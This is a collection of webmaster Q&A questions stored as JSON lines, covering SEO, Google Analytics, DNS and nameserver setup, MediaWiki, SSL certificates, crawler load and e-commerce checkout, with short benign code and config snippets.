{"id":"14528","title":"What's the original image address from a adobe scene 7 site?","text":"Initially i would like to find out an image from nike store, then i found this: http:\/\/images.nike.com\/is\/image\/DotCom\/404128_010_A?wid=890&hei=550 here Nike uses adobe scene7 for its dynamic imaging. How could I grab the original file from it? some useful links http:\/\/images.nike.com\/is\/image\/DotCom\/404128_010_A?req=imageprops http:\/\/crc.scene7.com\/is-docs\/examples\/properties.htm"}
{"id":"49486","title":"Google Webmaster Tools robots test not working","text":"Within Webmaster Tools I have supplied my test content: User-agent: * Disallow:\/admin\/ Disallow: \/tag\/ When I specify the URL to test against, for example: http:\/\/www.site.com\/tag\/ It gives me this result: \"Allowed: Detected as a directory; specific files may have different restrictions\" As far as I know I have set this up correctly, shouldn't Google be saying that the `\/tag\/` directory is \"disallowed\"?"}
{"id":"49487","title":"Should I add a trailing slash to my canonical link or not?","text":"I'm just working through some PHP to set up a canonical link for each page on one of my websites and I'm wondering what's the correct link for the home page: Is it: <link rel=\"canonical\" href=\"http:\/\/www.sitename.com\/\"\/> Or? <link rel=\"canonical\" href=\"http:\/\/www.sitename.com\"\/> I've always tried to link to the home page without the trailing slash."}
{"id":"49480","title":"HTML5 vs HTML4 regarding Search Engine Optimization","text":"We currently have great SEO utilizing HTML4 entities, we are considering utilizing an HTML5 document type but are concerned about the SEO implications. We do not want to risk losing our SEO by simply updating our front-end implementation. Questions 1. Does Google value HTML5 more than HTML4 or visa versa. 2. Is there a top resource for strict standards when building an HTML5 document?"}
{"id":"17063","title":"Consolidating google results for 2 domains with the same content","text":"I have 2 domains `http:\/\/foo.com` and a `http:\/\/bar.com`. `http:\/\/bar.com` is just a domain alias for `http:\/\/foo.com` so they have the same content. Results for both domains show up on google, I'd rather all google results point to `http:\/\/foo.com`. I've tried looking for this option in google webmaster tools but can't find it. How do I do this?"}
{"id":"17062","title":"Displaying metrics for a list of specific pages from a website","text":"Can I get a table for a metric (ex: visitors, pageviews) for a specific list (imported as .xls, .csv or .xml) of pages from a Google Analytics tracked website?"}
{"id":"20790","title":"Can parking a domain on my primary domain have an effect on primary domain's SEO?","text":"My Question is this: I have a primary domain (assume it's domain.com). Now I parked domain-static.com on domain.com. The idea is that static content (images, JS, CSS) is served from domain- static.com, and domain-static.com passes through a CDN which is where the difference is between the domains. The reason is that browsers limit simultaneous downloads from the same domain so I think it should speed up the site more than routing all requests through a CDN. The static domain is actually parked on top of domain.com, but all static content on the website is served through static-domain.com There shouldn't be a case where HTML pages are served from domain-static.com or really for anything Google downloads (except for images which it will download for Google Images) But I'm asking about the regular Google search, can domain.com get penalized for some reason for parking domain-static.com on domain.com? If this is so, one possibility I thought of is adding an .htaccess rule that doesn't let any dynamic content be served from the static domain, so there isn't a possibility of Google downloading dynamic content from the domain- static.com, which can eliminate dynamic content. What do you think I should do?"}
{"id":"60602","title":"Language for a Belgium website","text":"In Belgium, citizens speak different languages. Most people speak Dutch, some French and the minority speaks German. Also combinations of those language occur. I want to expand a web shop to Belgium. My question: Which language can I use to reach most 'modern' Belgiums? By 'modern' people I mean people well familiar with (shopping on) the internet."}
{"id":"35060","title":"Google search SEO with double domain","text":"When hosting a site from two separate domains, are there any steps to take to not get penalized by search engines for duplicating content across domains? I'm envisioning a scenario where two domains have largely the same text content, but use separate domains to enable different branding and some different features."}
{"id":"56713","title":"Could somebody hijack my Google Analytics for a site?","text":"I track many websites in Google Analytics. Recently I accidentally added tracking code for site A to site B, which I noticed a couple of weeks later. By then, one website had two weeks of no visitors, and the other website had tons of traffic, relative to the other. It completely messed up my analytics data for the site, adding data for the other site. This made me think, since it's easy to view the source of a site and its Google Analytics code, could somebody take that code and add it to their own site(s) and completely mess up my site's analytics data? A lot of very big name websites use Google Analytics, I wonder why this hasn't been thought of or mitigated; wouldn't be too hard for Google to check if the source domain matches the site that it's meant to be tracking. How can I mitigate against this?"}
{"id":"57398","title":"Techniques to prevent apps hijacking my search engine?","text":"I'm working on a site with a large music content database, and recently some app developer looking for a bit of a reputation boost has launched an app that completely piggybacks on our database: a user will search for a track in the app, the app will send the request to our search page and scrape the results, returning the top result to the user. Here are some things I've tried: * Returning 444 for the app's user agent (but they changed it to a legit browser string). * Detecting a referrer on the search page, and returning 404 if no referrer is found (but it would be easy enough for them to spoof a referrer). One idea I thought of is some sort of token sent along with the search query any page with the search box, and the search result validates this token and, if invalid, returns 404. Are there any tried-and-true techniques that do this kind of thing? Or anything else I can do to prevent this data thief? He's completely unapologetically stealing our data and crippling our site! By the way I'm using Django, in case there's anything built in to there that could help me."}
{"id":"53875","title":"Should I remove a Tumblr blog that I moved to my own server?","text":"This is relate to How to move a Tumblr blog without hurting PageRank? question. I used custom domain for Tumblr for about a week, some of Tumblr domain disappeared and most of the posts appeared in new domain in search results. After that, I moved my files to my new host, and pointed my domain name there, hoping that Tumblr won't notice the change and keep redirecting users to my domain. Unfortunately, Tumblr realized (after 2 days) that I don't point to their servers anymore, and stopped redirecting to my domain. Does having old blog running hurt my search results rankings because of duplicate content? If so, I want to close my Tumblr blog. On the other hand, I am considering that some people might lose track of my blog. So I am confused. What is the optimal thing to do here, close old blog or not? Edit: I am also considering changing all posts to mere links to new content in old blog. Is it a good idea?"}
{"id":"53693","title":"Google Analytics multi-domain iframe counted as new visitor","text":"I work for a company that has a large number of marketing sites, each of which pull in some info to an iFrame from another domain. I'm trying to track visitors through a given marketing site, to the page with the frame, and then through various pages in the frame. I have done quite a bit of reading on multi-domain tracking in GA, but can't seem to get it to recognize a visitor to a marketing site and the framed page as a single visitor. On the marketing sites as well as on the pages within the frame, I use this GA code: _gaq.push(['_setAccount', 'UA-XXXXXXX-14']); _gaq.push(['_setDomainName', 'none']); _gaq.push(['_setAllowLinker', true]); _gaq.push(['_trackPageview']); I load my iFrame with the following code: _gaq.push(function() { var pageTracker = _gat._getTrackerByName(); var iframe = document.getElementById('my_frame'); iframe.src = pageTracker._getLinkerUrl('www.myurl.com'); }); Using GA Debug in Chrome, it appears that the GA parameters are being appended to the URL of the iframe correctly. Despite this, while viewing the \"real-time overview\", it shows a single visitor while I browse the marketing site until I get to the page with the frame, at which point it shows 2 unique visitors. This also breaks the \"visitors flow\" report, which shows a drop off at the page with the frame, instead of continuing to the new domain in the frame. Any suggestions or obvious problems?"}
{"id":"53870","title":"Cannot load local resource","text":"In spring project, I am generating some pdf file automatically in my application and storing it in $CATALINA_BASE in tomcat server. The path is : D:\\Project_Local\\workspace\\.metadata\\.plugins\\org.eclipse.wst.server.core\\tmp0\\wtpwebapps\\happyweb\\images\\User.pdf I have given one hyperlink on webpage to access this file. But when I click on that link it is giving error in Chrome console as below: Not allowed to load local resource:D:\\Project_Local\\workspace\\.metadata\\.plugins\\org.eclipse.wst.server.core\\tmp0\\wtpwebapps\\happyweb\\images\\User.pdf What is the problem and how so resolve that?"}
{"id":"10485","title":"What percentage of users opt out of Google Analytics?","text":"You can block Google Analytics through Adblock or your hosts file, and I know a small amount of visitors do. What's the percentage? Does Google compensate somehow, or should I just add a fudge factor to my customer's stats. I understand this number is possibly tiny, but I can't seem to dodge this request."}
{"id":"35127","title":"Multiple TOC with MediaWiki using section headings in single page","text":"I'm running my own installation of MediaWiki, which has been great! I haven't been able to find the answer to this small problem in any post, how to, etc. Here's the setup: Article TOC (limited to showing only H1 and H2) ==H1== ===H2=== ====H3==== ====H3==== I don't want the H3 to show up on the main table of contents, because it would make the list very long. Instead, under the H2, I would like to display another TOC with all the H3's under that listing. From my understanding, you cannot have multiple table of contents on a single page. I've thought about making a template for each H2 that has the H3 links, but that seems like it duplicates a lot of work and creates loads of pages. I'd love a template that sucks all subsection names and spits them out, but I don't see how to do that. Alternatively, is there a way to enable multiple TOCs in a custom install of MediaWiki that I'm missing? Even that would get closer to what I'm trying to do."}
{"id":"33629","title":"Best Automatic Backup Solution Options?","text":"I have a VPS with WiredTree.com in which I have access to WHM. I'm looking for a good backup solution where I can do the following things * Backups both the Database and Files * Allow me access to the backups so that I can restore them on another server to ensure that backups are actually successful. Any good options out there I should look at? Thanks for any tips."}
{"id":"14903","title":"Magento: When paying with Paypal, shipping cost is charged twice","text":"I'm using Magento 1.4.2. When I'm paying for an order with Paypal, the total is calculated alright but then Paypal charges twice for the shipment. I'm not using any custom modules. Any idea why this might be or where I should look?"}
{"id":"14907","title":"Best way to use static HTML + AJAX with Django","text":"I'm working on a web app and decided that for the max amount of speed I'm going to make it a single page. Then load all the content via AJAX pulling the data from a Django app. My options as I see them are: Host the index.html(and JS, IMG, CSS) on Cloud files\/S3\/etc and the Django app on a server on api.example.com Host the index.html(and such) on a dedicated server and put the app under as sub folder ie example.com\/app Host the index.html(and such) on a dedicated server and somehow host Django on the root. Letting Apache decide which one to send the user to. (similar to this question) If you have another way that could be better please let me know. Thanks, Kerry"}
{"id":"20572","title":"What am I doing wrong with my SEO","text":"I have this site (online library): www.gramma.ro Am I making any huge mistakes in regards to SEO? Basically, for each product I put its title to be my title page (for instance): http:\/\/gramma.ro\/Site\/DetaliiProdus.aspx?c=m1&p=1073&s1=61&s2=157 I do not understand why, for any of my products, I do not appear on 1st page of Google SERPS for that specific title product (I only see my competitors who also have the same title page for that product), but if I append \"gramma\" I do appear (so I am indexed). Did I make a mistake somewhere?"}
{"id":"20577","title":"Possible to send one payment to multiple Paypal accounts?","text":"I have a client who wants to setup a Paypal Buy it Now button on his small e-commerce store. The customer is able to say: \"I want to make a payment of $20 and I want this percentage to go toward this purpose, and this percentage to go toward this other purpose.\" Is it possible to have one payment split up and go into two separate Paypal accounts?"}
{"id":"48538","title":"DNS: forward part of a managed domain to one host, but sub domain services to another (Google Apps)","text":"I was going to post this as a comment against DNS: Forward domain to another host, but I don't seem able to do that. I'm in a similar situation. I have a DNS registered\/managed by enom, except with the slight twist that the domain was originally registered with enom through a Google Apps account creation. The domain currently supports a Google Apps site\/account. I now want to direct the bare primary domain and `www` entries to a hosting provider for the website component, but leave the Google Apps setup intact for its services such as calendar, mail etc. For now, I'm leaving the domain managed by enom. Also note that when I registered my account with the hosting provider, I gave the same domain name as the existing domain (e.g. `example.com`), so at their end I'm working with the same domain name in cpanel, etc. In my case, the existing enom DNS entries don't have an A record for the `www.example.com`, or the bare `example.com` domain. Instead, there are 4 x @ records with the Google Apps IP Address, 2 x TXT records with what I assume are Google Apps site verification strings\/tokens, and a bunch of CNAME records for the various features of Google Apps (mail, calendar, docs, sites, etc). So, my questions: * How do I point the `www.example.com` and `example.com` DNS entries at enom to my web site hosting provider, while leaving the domain managed by enom, and the Google Apps services working as they are now (with the obvious exception of Google Sites)? * How do I setup the `example.com` mail-related DNS records (MX, etc) at the web site hosting provider, so that outbound email to `any_name@example.com` gets correctly sent to the google apps mail account, and doesn't get trapped inside the _pseudo domain_ within the hosting providers servers?"}
{"id":"34817","title":"Add Protocol for MediaWiki Links Besides HTTP","text":"Is there a way to add protocols to linking for MediaWiki? For example: * Works: [http:\/\/www.google.com Google] * Doesn't work: [ftp:\/\/www.someplace.com Some FTP place] * Doesn't work: [conisio:\/\/something?something=awesome Something Awesome] In the above example, I want to add **ftp** and **conisio** protocols"}
{"id":"34816","title":"What is best way to manage all images in a big project, inline images, background images, css sprite images?","text":"How do you manage all images in a big project, inline images, background images, css sprite images? Do you follow any naming convention? Do you create sub-folders to manage images? In a big project how to make it easy to find for new people in the development team if any images which they want to use (because it's in new PSD they received from designer) is already available in images folder of project and how they can find it easily."}
{"id":"39165","title":"Is this a link scheme? If so, what to do? what problems can i face?","text":"I was asked to remodel a website, and decided to check its rank on alexa. Surprisingly, there are **many, many** different websites linking to it, **none relevant**. One particular thing about it is that **none of these urls work, and they all display the exact same error when accessed** , which to me is a very good indication that this is some sort of linking scheme. (besides the somewhat obvious names, it even says scheme in one of the urls !?) **If so, how should i proceed about this website? What can i do if this is in fact a scheme, how can this hurt the website, what types of problems can i face, and what can i do about it?** addurlnow . info dirlist15.addurlnow . info\/Business___Economy\/Services\/page-12.html linkdirectory101 . info dirlist16.linkdirectory101 . info\/Business___Economy\/Services\/page-15.html seonetblog . info dirlist52.seonetblog . info\/Business___Economy\/Affiliate_Schemes addurls . us dirlist21.addurls . us\/Business___Economy\/Services\/page-10.html webdirectoriessite . info dirlist20.webdirectoriessite . info\/Business___Economy\/Services\/page-6.html addurlstore . info dirlist10.addurlstore . info\/business___economy\/services\/page-14.html ukwebdirectorys . info dirlist21.ukwebdirectorys . info\/Business___Economy\/Services\/page-13.html"}
{"id":"19946","title":"What is a good replacement for MS Frontpage?","text":"I've been using MS Frontpage 2003 to maintain our company website for _years_. Looking for a replacement that can: * Import\/convert a MS FrontPage website and \"modernize it\" (clean up the HTML to make it standards compliant, etc.) * Supports (or converts) the substitutions (Include Page and Text substitutions that are done when the page is published (so they become static HTML). * Leverages my knowledge of FrontPage Looks like the likely contender is Web Expressions but I'm open to objective suggestions."}
{"id":"39881","title":"Full width web design (with Twitter bootstrap)","text":"I have not done much web design previously and wanted to get an understanding of full-width layouts and responsive design. Specifically, my question is this - is it considered bad practice to use full- width layouts? I have google'd, and a lot of the feedback is to avoid full width (sticking to the standard 960px width) - however, a lot of the articles I have read were a few years old. I was thinking about a design for a site that uses full width, using Twitter bootstrap (obviously TB provides the mechanism to go full width, which makes me think it may not be all bad?) - With the TB layout system and responsive design settings, are the drawbacks of using full-width layout as significant? I have also read about the optimal number of characters per-line issue, that would obviously effect a single column (or even two-column) full width layout - but I was planning to have a full-width three column design. Have people got around this issue?"}
{"id":"39880","title":"Show\/Hide Div - Cross browser compatibility and jquery concerns","text":"I'm working on displaying a hidden div when clicked on for a website. This would be a contact for to request more information about a product, so, **its a very important form.** So, i came across the following **(demo)** http:\/\/papermashup.com\/demos\/jquery-show-hide-plugin\/ **(Code)** - http:\/\/papermashup.com\/jquery-show-hide-plugin\/ Which works great, and uses jquery. With a couple of modifications would be a perfect fit for the application I'm working at. There's only one problem: On Safari (argh!), the animation looks choppy. So I have 2 questions: > 1 - For the more experienced webmasters, is it a good practice to use java > script to display such and important part of this website? Could I run into > problems? I know that java script could be disabled, but is that even > realistic? Should I perhaps find a different solution? > > 2 - Is there a way to improve the animation so it works better on Safari, or > should I just go a different route?"}
{"id":"51877","title":"Tracking visitors: is it possible to know what site you visited next?","text":"Let's say you visit my website `johndoe.com` you read one or two articles and then you type directly in your browser's address bar \"`www.google.fr`\" thus exiting my website. Conversely you were on `stackexhange.com` and then you typed `johndoe.com`, thus arriving on my website. Is it possible for me to know this? Using Google Analytics or other tracking software?"}
{"id":"38183","title":"Does Google Analytics only count a Unique Visitor if he\/she lands on the index (home) page?","text":"Does Google Analytics only count a Unique Visitor if he\/she lands on the index (home) page? What if the UV makes his way to a side-page of your site but never visits the home page (index page)? Would he still count as a unique visitor under Google analytics?"}
{"id":"44148","title":"Force users to use Google Chrome","text":"I have a very selected group of users on my web application. Not everyone can just visit the website, and if they do they will need login information to see anything but the login box. The users have to contact in order to get an account. I am almost complete with my application, and it is not so friendly with ie, and has a few glitches with firefox. It works perfect with safari and chrome. Now, since I'm only going to have 100-200 users, is it OK to force users to use either safari or chrome?"}
{"id":"57962","title":"Providing search engines with hints on contents vs navigation and sidebars","text":"Currently, certain search engines prefer showing sidebar information instead of content in search results. Is there a way to hint the search engines which `<div>` represents content on the webpage, and which `<div>` represents status data in a sidebar?"}
{"id":"260","title":"Should I preemptively register alternate domain names?","text":"If I register a really good .com domain name, should I also register: * alternate spellings * mis-spellings * hyphenated versions * other variations: iExample.com, eExample.com, myExample.com, etc. * other TLDs: .org, .net, .biz, .info * international TLDs Which definitely, which maybe and which no? How do you know where to draw the line?"}
{"id":"44140","title":"Making Search Queries Indexable","text":"Looking around, most sites (eg. Amazon) encode the parameters of searches into query string. This means that search engines cannot index these queries. Why don't such sites use URLs rather than query strings to store search parameters, as this would allow google to index searches? Search using a query string: example.com\/search?author=john+smith&year=2007&title=do+dogs+have+lips Search using a URL: example.com\/search\/author\/john_smith\/year\/2007\/title\/do_dogs_have_lips This URL would then point to a unique page, containing the results of this search. If a strict order of parameters was observed (eg. author always comes first if used, year always comes next if used etc.) This would seem like a great solution. What am I missing?"}
{"id":"44142","title":"Private NS propagation","text":"I have a client that asked me to move his domains to a new private server, this is my first experience on using private name servers so I am unsure if I am doing something incorrectly. According to what I have read, at my registrar I have to register the private name servers, in this case ns1.vetology.net and ns2.vetology.net which I have done last Wednesday and testing the name servers they are pointing to the correct IP * http:\/\/reports.internic.net\/cgi\/whois?whois_nic=NS1.VETOLOGY.NET&type=nameserver * http:\/\/reports.internic.net\/cgi\/whois?whois_nic=NS2.VETOLOGY.NET&type=nameserver So that means that Godaddy did it's job and registered the nameservers, the very same day I pointed a domain which is not in use at the moment. dogcatmri.com to the private nameservers, since them I have been receiving a not found error on some browsers and chrome gives me a `Error 137 (net::ERR_NAME_RESOLUTION_FAILED): Unknown error.`. First I thought well I have to wait for both the private name servers to propagate and then the domain DNS change to propagate but since Wednesday up to today it seems a very long time for me. Note that if I use Google DNS servers 8.8.8.8 the domain resolves, but the domain does not resolve in any other way. So my questions is, does the fact that using Google's dns resolve the domain means that the NS servers are setup correctly and I just have to wait for propagation to complete and it is taking an awful lot of time or there is something not setup right but Google's DNS uses some other sort of domain resolution and there maybe something wrong on my setup? This is some further testing I did, the command was run from the host machine: [root@web ~]# dig dogcatmri.com ; <<>> DiG 9.3.6-P1-RedHat-9.3.6-20.P1.el5_8.6 <<>> dogcatmri.com ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 60662 ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;dogcatmri.com. IN A ;; Query time: 325 msec ;; SERVER: 4.2.2.2#53(4.2.2.2) ;; WHEN: Mon Feb 25 04:27:53 2013 ;; MSG SIZE rcvd: 31 ## Edit 1: I am not sure if I am doing something incorrectly but my assumption is that given the following setup > domain.com > domain2.com > server1 > server2 So server1 is hosting `domain.com` properly server2 is hosting `ns1.domain.com` and `ns22.domain.com` `domain.com` has nameservers `ns1.domain.com` and `ns2.domain.com` Not moving `domain.com` to point to `ns1.domain.com` and `ns2.domain.com` will cause the other domains not to resolve or the two things are independent? Just to clarify, my reason not to move `domain.com` at the moment is because `domain.com` is a live site and I don't want to mess with it unless I am 100% sure the server is responding as expected."}
{"id":"54032","title":"Dropped impression 25 days after restructure","text":"Our website is a non English property related website (`moshaver.com`) which is similar to `rightmove.co.uk`. On September 2012 our website was adversely affected by Panda causing our Google incoming clicks to drop from around 3000 clicks to less than a thousand. We were hoping that Google will eventually realize that we are not a spam website and things will get better. However, in August 2013 we were almost sure that we needed to do something, so we started to restructure our web content. We used the canonical tag to remove our search results and point to our listing pages, using the noindex tag to remove it from our listing pages which does not have any properties at the moment. We also changed title tags to more friendly ones, in addition to other changes. Our changes were effective on 10th August.  As shown in the graph taken from Google Analytics Search Engine Optimization section, these changes has resulted in an increase in the number of times Google displayed our results in its search results. Our impressions almost doubled starting 15th August. However, as the graph shows, our CTR dropped from this date from around 15% to 8%. This might have been because of our changed title tags (so people were less likely to click on them), or it might be normal for increased impressions. This situation has continued up until 10th September, when our impressions decreased dramatically to less than a thousand. This is almost 30% of our original impressions (before website restructure) and 15% of the new impressions. At the same time our impressions has increased dramatically to around 50%. I have two theories for this increase. The first one is that these statistics are less accurate for lower impressions. The second one is that Google is now only displaying our results for queries directly related to our website (our name, our url), and not for general terms, such as \"apartments in a specific city\". The second theory also explains the dramatic decrease in impression as well. After digging the analytic data a little more, I constructed the following table. It displays the breakdown of our impressions, clicks and CTR in different Google products (web and image) and in total. What I understand from this table is that, most of our increased impressions after restructure were on the image search section. I don't think users of search would be looking for content in our website.  Furthermore, it shows that the drop in our web search CTR , is as dramatic of the overall CTR (-30% in compare to -60%) . I thought posting it here might help you understand the situation better. Is it possible that Google has tested our new structure for 25 days, and then decided to decrease our impressions because of the the new low CTR? Or should we look for another factor? If this is the case, how long does it usually take for Google to give us another chance? It has been one month since our impressions has dropped."}
{"id":"39670","title":"filtering out excessively long views from google analytics","text":"I have a landing page I'm watching pretty closely and I'm trying to track the avg view time on that page to see if it's going up or down based on changes. The problem is some day in December the avg view time is registering over an hour which is throwing off the readability of the graph (most views are 30 seconds to 6 minutes). Is there any way to filter out views over 20 minutes so I can view the graph more easily?"}
{"id":"32023","title":"How To Hide From BuiltWith?","text":"Out of curiosity, does anyone know how builtwith.com works? How does it identify the platform or app a website is using? And most importantly does anyone know how to hide the details from it? Somehow I'm not very comfortable with users being able to identify the platform I am in."}
{"id":"55823","title":"Bots inside chrome v31?","text":"I am currently running a wordpress site with the plugin \"Wassup\" installed. In the last time I have registered around 30 users **per day** that call \/wp- login.php on my webpage. And all of them always use Chrome 31 and even worse everyone uses a different IP, no IP occurs twice (at least not within a day) The plugin \"Better WP security\" does not block them. So I am wondering if Chrome 31 may have a plugin or something, that is used for hacking purposes without the knowledge of the people using it? Has any one seen the same?"}
{"id":"39676","title":"Google Analytics account transfer","text":"Is there a way to transfer Google Analytics account from one account holder to another? The original account holder was managing the site via MCC. That person is no longer associated with the website and would like to bring analytics control inhouse. Any ideas?"}
{"id":"37806","title":"www subdomain for my webpage","text":"How many customer do I lose if my webpage is not accessible from www subdomain. Can anyone who has webpage analytics with large number of visitors provide me statistic how many users use www.domain.com and how many only domain.com? Thanks a lot"}
{"id":"1785","title":"What is the best kind of checkout system for a website?","text":"I have worked with quite a few checkout systems and eCommerce platforms. Are there certain kinds of interfaces that convert sales better than others? For me there are really only two questions: 1. SSL self hosted vs. 3rd party checkout * for SSL this requires an SSL certificate and secure website routines to handle a credit card. * for 3rd party, there is PayPal, Authorize.net, and GoogleCheckout 2. Single-Step vs. multicheckout see: step two on this page * Single-Step seems easy enough, but does it convert better? * multicheckout can get convoluted, but with a progress bar does it help the user convert? Hopefully this will focus on _the four possible answers_ given either\/or answers to the above."}
{"id":"1787","title":"Webpage Post Submits vs AJAX?","text":"Which is better and why? I can see where a site that works 100% in AJAX might optimize a bit better, due to not having to reload the page on each click. But I am a huge fan of the big submit button at the bottom of the screen. Is it worth spending the time to convert a site to AJAX when it mostly only optimizes page load times?"}
{"id":"48758","title":"Chrome Extension or online tool to access and edit files on server via FTP\/other protocols","text":"I recently got a Chromebook Pixel, and find it to be a great alternative laptop to my Macbook Pro, especially for non coding tasks like email etc. I was wondering if there was any IDE style extension or web app that I can use to access my server via FTP or some other protocol, which would allow me to view and edit the backend files (PHP, HTML, images and so on) and upload them back when I hit save. This would allow me to edit and develop my website without starting up the MacBook Pro, which can be quite slow due to all the other stuff I run on it. I was looking for either an extension that plugs straight into Chrome, or something along the lines of eXtplorer, which is a PHP based file manager for servers. It has some of these features inbuilt, and can edit files, but is quite slow and doesn't have stuff like code autocompletion."}
{"id":"15769","title":"Do internal intranet websites need to be secure?","text":"The question is in the title. Does an internal site need to have `https` security? For example we have an internal site that handles our client's license keys -- do we need for that to be secure since it is on out internal network? (The website is secured with IIS and windows user validation)"}
{"id":"15765","title":"Ubercart for 'serious' eCommerce?","text":"I'm big Drupal fan, and some very high profile sites use Drupal which also suggests that its a good system. Can the same be said for Ubercart? I've used it for some small eCommerce sites purely because I know Drupal. It seems to lack some basic features and also relies on JavaScript. I don't know of any high profile eCommerce sites using it. My productivity would take a big hit if I had to learn a new eCommerce platform and also if I couldn't use my favorite CMS with it, but do I have a choice? If not I guess I can hope that Drupal 7's Commerce module will be an improvement."}
{"id":"6872","title":"How can I backup my websites files and folders and MySQL database using PHP and send them to an email address in splited 1 MB pieces?","text":"A quick example would be very helpful."}
{"id":"36096","title":"Adsense Earnings and multiple websites","text":"Does placing my Adsense publisher's account code over many website's will reduce earnings? I mean by many websites, that sites are mine or I have exclusive rights to publish my ads there. Keep in mind that, some of those websites may has just 30 visits per day while others may exceed 1000 visits per day."}
{"id":"6870","title":"How does amazon get away without verifying emails?","text":"I was playing around with Amazon's Check out process today and I noticed something odd. Amazon does not make you activate your account or verify your email address. I only had to enter my email twice during the registration process. They never sent me an activation email. Is this becoming standard? I can understand the reasoning that if you entered someone else's email address during registration the person who actually owns the email address could change the password on the account. It just seems really odd. Can someone explain how they get away with this?"}
{"id":"29463","title":"WordPress multisite and Google Analytics in subfolders with mapped domains","text":"I have a WordPress multisite with sub folders. The site's subfolders are mapped to domains, which are set to primary. I'm using the Google Analytics Multisite Async' code to track things. From what I can see it's tracking the sites fine (getting page hits for each site in Google Analytics) baring the original site in the multisite which in content overview lists domains then the amount of traffic it's getting along with the orginal domains traffic. I don't want to track any other traffic for my orginal site than what goes to that. i.e. I don't want it tracking my other sites in multi-site. e.g. `domain1.com` is my orginal and I have lots of other sites in the multisite lets say `domain2.com`, `domain3.com`. In content overview in Analytics it's listing say `domain2.com` as content. Can I tell it to filter these out some how either in Analytics or within WordPress? Hopefully explained that clearly!"}
{"id":"35699","title":"Google bots are severely affecting site performance","text":"I have an aggregate site on a linux server that pulls in feeds from a universe of about 2,000 blogs. It's in Wordpress 3.4.2 and I have a cron job that is staggered to run five times an hour on another server to pull in the stories and then publish them to the front page of this site. This is so I didn't put too much pressure all on one server. However, the Google bots, which visit a few times every hour bring the server to its knees in the morning and evenings when there is an increase in traffic on the site. The bots have something like 30,000 links to follow at this point. How do I throttle the bots to simply grab the new stories off the front page and stop there? EDIT- Details of my server configuration: The way we have this set up is the server that handles all the publishing is an unmanaged instance via AWS. It mounts the NFS server and connects to the RDS to update content, etc. You get to this publishing instance via a plugin that detects the wp-admin link and then redirects you into there. The front end app server also mounts the NFS and requests data from the RDS. It is the only one that has the WP Super Cache on it.... The OS is Ubuntu on the App server and the NFS runs CentOs. The front end is Nginx and the publishing server is Apache."}
{"id":"58926","title":"Schema SiteNavigationElement markup","text":"Should the Schema.org SiteNavigationElement be structured like this.. <div itemscope itemtype=\"http:\/\/www.schema.org\/SiteNavigationElement\"> <ul> <li itemprop=\"url\"><a href=\"#\" itemprop=\"name\">Link 1<\/a> <\/ul> <\/div> or like this? <div itemscope itemtype=\"http:\/\/www.schema.org\/SiteNavigationElement\"> <ul> <li> <a href=\"#\" itemprop=\"url\"><span itemprop=\"name\">Link 1<\/span><\/a> <\/li> <\/ul> <\/div>"}
{"id":"37805","title":"Removing 301 redirect from site root","text":"I'm having a look at a friends website (a fairly old PHP based one) which they've been advised needs re-structuring. The key points being: 1. URLs should be lower case and more \"friendly\". 2. The root of the domain should be not be re-directed. The first point I'm happy with (and the URLs needed tidying up anyway) and have a draft plan of action, however the second is baffling me as to not only the best way to do it, but also _whether it should be done_. Currently `http:\/\/www.example.com\/` is redirected to `http:\/\/www.example.com\/some-link-with-keywords\/` using the follow `index.php` in the root of the Apache2 instance. <?php $nextpage = \"some-link-with-keywords\/\"; header( \"HTTP\/1.1 301 Moved Permanently\" ); header( \"Status: 301 Moved Permanently\" ); header(\"Location: $nextpage\"); exit(0); \/\/ This is Optional but suggested, to avoid any accidental output ?> As far as I'm aware, this has been the case for around three years -- and I'm sorely tempted to advise to not worry about it. It would appear taking off the 301 could: * Potentially affect page ranking (as the 'homepage' would disappear - although it couldn't disappear because of the next point...) * Introduce maintainance issues as existing users would still have the re-directed page in their cache * Following the above, introduce duplicate content * Confuse Google\/other SE's as to what the homepage actually is now I may be over-analysing this but I have a feeling it's not as simple as removing the 301 from the root, and 301'ing the previous target to the root... Any suggestions (including it's not worth it) are sincerely appreciated."}
{"id":"65195","title":"Set Up Of Common Name Of SSL Certificate To Protect Plesk Panel","text":"A PCI Compliance scanner is balking that the self signed SSL certificate protecting secure access to Plesk Panel contains a name mismatch between the location of the Plesk Panel and the name on the certificate, namely the self- signed cert's name is \"Parallels\" and the domain to reach Plesk is 'ip address:8443'. So I figured I would go ahead and get a free SSL certificate to try to fiddle with this error. But when I generated the certificate I used my server domain name as the site name when I generated the certificate. So if I visit 'domain name:8443' all is fine, no ssl warning. But if I visit 'ip address:8443' (which I believe is what the scanner does) I get the certificate name mismatch error, Digicert's ssl checker says that the certificate name should be the ip address. Can I even generate a certificate whose common name is the ip address? I am tempted to say I should just do what the PCI scanner accepts, but what is really the correct common name to use? Anybody run into this issue before?"}
{"id":"18225","title":"SEO - which URL's are the best?","text":"In my application I have users who can post offers. An offer belongs to a category and a subcategory. The title of the offer can be long (~80 characters) My options to have url's uniqueness, are: i) \/users\/:id\/offer\/:title ii) \/category\/:name\/offer\/:title-:number iii) \/category\/:name\/subcategory\/:name\/offer\/:title-:number where, :number is a different identifier if there are 2 offers with the same title 1) Which of the 3 is the best in terms of SEO (or there is another combination that is better than the 3 options)? 2) Is there any difference on the order of the words? For example, is there any difference if I choose `\/users\/:id\/offer\/:title` instead of `\/offer\/:title-:number`"}
{"id":"18227","title":"Why does Google crawl my site very slowly [recently]","text":"recently it takes 5 to 8 days for my site (www.StudyHorror.com) to be indexed. I'm updating the website everyday. What are the possible causes for this problem?"}
{"id":"32029","title":"Using modproxy to get around China's Great Firewall","text":"I'm using WIX service and I like it very much. However, one big problem is that some of my colleagues are in China but their IP is blocked. I'm wondering if modproxy can help me. I would like to setup a clean server (not blocked by the stupid Chinese government). Pointed the DNS cname to it and have modproxy get the page in background and send the page to viewers in China. Will it work? If yes, can anyone post any examples? Thanks a million"}
{"id":"36095","title":"Dotted subdomain name or new domain?","text":"I have a company website hosted at www.BRAND.com (where BRAND is a generic name). The company want to develop a \"micro website\" for one of their campaigns, named \"Inspired By BRAND\". I have two directions: * inspired.by.BRAND.com - which I personally don't like too much. I don't know why but I don't recall any web address similar to this one subdomain.subdomain.domain.com. * inspired.BRAND.com - which I this is best suited for it. Fewer dots and similar to \"more friendly\" addresses subdomain.domain.com. Any hints, guidelines, any thoughts is well appreciated. Thanks in advance"}
